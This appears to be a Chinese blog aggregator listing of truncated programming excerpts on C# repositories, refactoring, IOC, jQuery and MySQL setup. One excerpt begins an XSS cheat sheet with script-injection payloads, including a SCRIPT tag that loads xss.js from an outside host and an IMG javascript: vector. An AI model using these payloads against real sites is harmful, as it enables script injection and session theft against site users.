Time of Update: 2018-12-07
namespace Service{ public class Service<TEntity> : IService<TEntity> where TEntity : class,Entity.IEntity { private IRepository<TEntity> iRepository = null; public Service() { iRepository =
Time of Update: 2018-12-07
namespace Data.TEST{ /// <summary> /// 資料通用操作實現 /// </summary> /// <typeparam name="TEntity"></typeparam> public class Repository<TEntity> : TESTRepositoryBase, IRepository<TEntity> where TEntity :
Time of Update: 2018-12-07
namespace Data.TEST{ /// <summary> /// 資料操作基類 /// </summary> public abstract class TESTRepositoryBase { /// <summary> /// 資料庫基類 /// </summary> protected
Time of Update: 2018-12-07
namespace Data{ /// <summary> /// 資料庫建立工廠 /// Created By : 張占嶺 /// Created Date:2011-10-14 /// Modify By: /// Modify Date: /// Modify Reason: /// </summary> internal static class DbFactory { static
Time of Update: 2018-12-07
一、安裝編譯工具(如果系統本身沒有的話)yum install gcc gcc-c++yum install ncurses-develyum install make二、下載源碼mkdir -p /tmpcd /tmpwget http://dev.mysql.com/get/Downloads/MySQL-5.5/mysql-5.5.15.tar.gz/from/http://mysql.he.net/wget http://www.cmake.org/files/v2.8/cmake-2.
Time of Update: 2018-12-07
文章目錄 7 代碼注釋 一個好的程式,一個可讀性強的程式,一定少不了一個好的注釋!一個優秀的團隊,一個高效的團隊,也離不開一個規範性的代碼注釋。代碼注釋 — 盡量將代碼注釋寫的清楚,完整,註明代碼的功能,建立者,修改者,時間等。代碼如下: 1 #region 代碼注釋 2 /// <summary> 3 /// 資料操作基類 4 /// </summary&
Time of Update: 2018-12-07
文章目錄 “方法更名”說的簡單點就是把方法啟一個與它功能相對應的名稱,當你的方法是求和操作時,你的方法名應該是Sum(int param),而不要寫成a(int param)。方法更名 — 將方法名稱以更好的表達它的用途。代碼如下: 1 #region 方法更名 2 class MethodReName 3 { 4 /// <summary> 5
Time of Update: 2018-12-07
N層架構及各層之間的通訊標準一 總體結構圖二 各個模組的介紹通用項目模組Project.Common:它是對所有項目都公開的公事包,主要提供一個與領域無關的通用功能的程式碼程式庫核心項目模組Project.Core:它是針對某種構架方式(如LINQ To
Time of Update: 2018-12-07
文章目錄 與方法歸父正好相反,當父類的方法只為一個子類提供時,這時應該考慮把這個方法放到子類中,這就是“方法歸子”。方法歸子 — 或譯函數下移,指的是方法從父類移動到子類。代碼如下: 1 #region 方法歸子 2 /// <summary> 3 /// 如果InsertBase中的InsertSub方法只在SubInsert中使用, 4 ///
Time of Update: 2018-12-07
要研究的問題:IOC是什嗎?它解決了什嗎?我們的項目中為何要用IOC?反射對效能真的影響很大嗎?不用反射,誰意見最大?來吧,開始說問題1,IOC是什嗎?不用說什麼容器,架構,大白話其實IOC就是將一些介面與它的各種實現的類名配置在一個檔案中,可以是XML,也可以是.config設定檔中,然後在程式“運行時”去根據配置的資訊去動態得到(resolved)這個對象,然後程式中就可以使用這個對象了,所IOC就是用來建立對象的。2,它解決了什嗎?一個介面,有三種實現,如sql實現,oracle實現,ac
Time of Update: 2018-12-07
用telnet 127.0.0.1 11211這樣的命令串連上memcache,然後直接輸入stats就可以得到當前memcache的狀態pid
Time of Update: 2018-12-07
這幾天牙痛的厲害,所有一直沒有寫部落格,今天正好有個培訓的機會,所以就把“代碼重構”這塊的內容整理了一下,首先看一下方法歸父吧。方法歸父 — 或譯函數上移,指的是方法從子類移動到父類。代碼如下: 1 #region 方法歸父 2 /// <summary> 3 /// 多於一個類中都有相同的Insert方法,這時,我們應該 4 /// 考慮將Insert方法歸到父到中 5 ///
Time of Update: 2018-12-07
提取方法 (Extract Method) — 意思是將大段代碼中的一部分提取後,構成一個新方法;還有一個含義是將多個方法中公用的部分提供出來,形式一個新的方法,這種重構可以使整段程式的結構變得更清晰,增加可讀性,擴充性和可維護性。如,有兩個方法,它們的實現部分很雷同,看代碼:1 public string ChooseItem1()2 {3 return SelectItem(1);4 }5 6 public string ChooseItem2()7 { 8 return
Time of Update: 2018-12-07
回到目錄 前幾篇文章以JQ為主,本系列的八篇文章中,第一講為JS基礎,從第二講開始到第六講主要是JQ基礎知識,而第七講與第八講是JS中的一些進階應用程式,寫到這裡,也快要和《Jquery真的不難》說再見了,有點捨不得,恩,連續的兩天失眠,呵呵,不知道為什麼,可能是興奮過度了吧,呵呵,總之這幾天的狀態超級好,我喜歡這種感覺,非常感謝!JS也要物件導向這個題目很大,我是搞C#開發的,而C#是個面向人性化的語言,呵呵,我更希望把物件導向改成面向人性化,呵呵,因為只有你把它擬人化之後,你才能更好的
Time of Update: 2018-12-07
在第三講中我們主要關注了代碼重構的思想,從方法重構到類重構再到項目重構,這是一個過程,一種思想上的升華,今天將繼續我們“程式複用性設計”的旅程,說一下方法重載的重要性。細心的朋友一定會非常關注net frameworks的原始碼,即使只能看到它內部方法的定義,也足夠了,在System.Web.Mvc這個命名空間下定義了很多關於MVC架構的東西,我們就以它為例來說一下方法重載吧!重載的好處:1
Time of Update: 2018-12-07
從標題中可以看到本篇文章將介紹代碼隨意性的缺點及由此引發的後果,首先,來說一下同一功能的代碼在多個程式中被編寫多次的後果:1 它破壞了物件導向的“單一職責”的原則2 當代碼邏輯複雜時,或者進行二次開發時,程式員將對方法調用產生歧義,即不知道應該使用哪個方法,即代碼可讀性差3 當這個不規範的方法邏輯需要修改時,你將會進行多次重複的調整,這是一個程式不希望做的事解決方案:當幾個模組需要用到同一功能,或者功能相似的方法時,應該先將公用的功能抽象成一個新的方法,再把不同的地方抽象成其它方法,這也就
Time of Update: 2018-12-07
文章目錄 百度百科中對閉包的定義:占嶺對閉包的定義:在理解閉包之前,我們先來看一下JS變數的範圍吧:通過一個代碼來理解一下閉包吧: 回到目錄百度百科中對閉包的定義: 閉包是可以包含自由(未綁定到特定對象)變數的代碼塊;這些變數不是在這個代碼塊內或者任何全域上下文中定義的,而是在定義代碼塊的環境中定義。“閉包”
Time of Update: 2018-12-07
文章目錄 前言:以下是整理的非同步請求時的參數說明 $.load() 載入遠程 HTML 檔案代碼並插入至 DOM 中 回到目錄前一篇文章主要介紹了如何通過JQ實現非同步資料的訪問與操作,寫法上是最標準的.ajax完整形式,這講主要把剩下的簡寫形式說一下。前言:以下是整理的非同步請求時的參數說明 //$ajax非同步通用參數說明,[]裡面的參數是可以省略的
Time of Update: 2018-12-07
(1)普通的XSS JavaScript注入<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>(2)IMG標籤XSS使用JavaScript命令<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>(3)IMG標籤無分號無引號<IMG SRC=javascript:alert(‘XSS’)>(4)IMG標籤大小寫不敏感<IMG
Time of Update: 2018-12-07
提取到類(Extract Class) : 將多個類所公用的部分(包括方法,屬性,事件等等)抽象出來,形成一個新的類型,這個類被稱為它們的基類(base